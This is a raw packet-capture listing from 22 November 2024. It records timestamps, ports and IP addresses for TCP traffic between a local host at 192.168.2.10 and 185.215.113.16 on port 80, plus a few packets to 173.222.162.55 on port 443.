Nov 22, 2024 17:09:12.728504896 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.728534937 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.728663921 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.729619026 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.729717970 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.729769945 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.730922937 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.731020927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.731034994 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.731070995 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.732283115 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.732325077 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.732368946 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.732430935 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.733644962 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.733690023 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.733848095 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.733896017 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.734947920 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.735003948 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.735029936 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.735194921 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.736326933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.736382008 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.736517906 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.736603975 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.737651110 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.737670898 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.737701893 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.737737894 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.738998890 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.739051104 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.739330053 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.739384890 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.740310907 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.740369081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.740380049 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.740411997 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.741709948 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.741786957 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.741791010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.741847992 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.743032932 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.743113041 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.743159056 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.743271112 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.744404078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.744481087 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.744518042 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.744560957 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.745712996 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.745745897 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.745783091 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.745783091 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.747085094 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.747098923 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.747159004 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.748416901 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.748480082 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.748627901 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.748672962 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.749739885 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.749826908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.749835014 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.749871016 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.751121998 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.751168013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.751195908 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.751225948 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.752469063 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.752543926 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.752563000 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.752609968 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.753840923 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.753856897 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.753911972 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.755201101 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.755249023 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.755278111 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.755330086 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.756514072 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.756542921 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.756589890 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.756589890 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.757864952 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.757905006 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.757936001 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.757968903 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.759176970 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.759195089 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.759238005 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.760499001 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.760638952 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.760663033 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.760701895 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.761873960 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.761915922 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.761921883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.761956930 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.763262033 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.763310909 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.763319969 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.763354063 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.764573097 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.764617920 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.764698029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.764736891 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.765949965 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.766005993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.766035080 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.766135931 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.767318964 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.767368078 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.767396927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.767432928 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.768640995 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.768660069 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.768701077 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.768717051 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.769994974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.770036936 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.770112991 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.770148993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.771338940 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.771421909 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.771471977 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.771512985 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.772650003 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.772665024 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.772713900 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.772731066 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.774066925 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.774132013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.774142027 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.774175882 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.775309086 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.775347948 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.775397062 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.775484085 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.776720047 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.776762962 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.776885986 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.777129889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.778076887 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.778143883 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.778155088 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.778187990 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.779340029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.779400110 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.875386000 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:12.875420094 CET	443	49727	173.222.162.55	192.168.2.10
Nov 22, 2024 17:09:12.875458956 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:12.875466108 CET	443	49727	173.222.162.55	192.168.2.10
Nov 22, 2024 17:09:12.876002073 CET	49829	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:12.876050949 CET	443	49829	173.222.162.55	192.168.2.10
Nov 22, 2024 17:09:12.876132965 CET	49829	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:12.876710892 CET	49829	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:12.876718998 CET	443	49829	173.222.162.55	192.168.2.10
Nov 22, 2024 17:09:12.911036015 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.911058903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.911489964 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.911669016 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.911941051 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.912712097 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.912727118 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.912801027 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.913938999 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.913954973 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.913994074 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.914022923 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.915121078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.915285110 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.915326118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.915354013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.916405916 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.916418076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.916484118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.917481899 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.917567968 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.917646885 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.917790890 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.918915987 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.918930054 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.918992043 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.919950008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.920031071 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.920111895 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.920169115 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.920968056 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.920981884 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.921025991 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.921052933 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.922197104 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.922274113 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.922354937 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.922528982 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.922946930 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.923055887 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.923118114 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.924151897 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.924204111 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.924302101 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.924339056 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.925328970 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.925458908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.925498962 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.926522017 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.926559925 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.926615953 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.926639080 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.927661896 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.927714109 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.927768946 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.927800894 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.928821087 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.928868055 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.928915977 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.929100037 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.930006981 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.930047989 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.930073977 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.930109024 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.931257010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.931499958 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.931726933 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.931785107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.932348013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.932409048 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.932424068 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.932461977 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.933512926 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.933559895 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.933583975 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.933628082 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.934716940 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.934788942 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.934839964 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.934871912 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.935839891 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.935903072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.936063051 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.936156988 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.936991930 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.937060118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.937103987 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.937136889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.938127995 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.938169956 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.938183069 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.938201904 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.939271927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.939306974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.939323902 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.939338923 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.940598965 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.940654993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.940707922 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.940798044 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.941684961 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.941756010 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.941771984 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.941811085 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.942946911 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.942970991 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.943016052 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.943933010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.943960905 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.944000959 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.944040060 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.945019007 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.945060015 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.945082903 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.945099115 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.946190119 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.946249962 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.946306944 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.946382046 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.947272062 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.947386026 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.947423935 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.947467089 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.948512077 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.948551893 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.948581934 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.948607922 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.949574947 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.949644089 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.949822903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.949927092 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.950769901 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.950851917 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.950927973 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.951041937 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.951880932 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.951956987 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.951992035 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.952039003 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.953073025 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.953154087 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.953172922 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.953206062 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.954207897 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.954282045 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.954328060 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.955384016 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.955398083 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.955463886 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.956456900 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.956504107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.956532955 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.956567049 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.957745075 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.957798958 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.957801104 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.957856894 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.958796978 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.958839893 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.958862066 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.958882093 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.959992886 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.960050106 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.960161924 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.960201025 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.960283041 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.961070061 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.961134911 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.961237907 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.961272001 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.962203026 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.962259054 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.962289095 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.962321997 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.963428974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.963478088 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.963489056 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.963506937 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.964525938 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.964622974 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:12.964756966 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:12.964927912 CET	49828	80	192.168.2.10	185.215.113.16
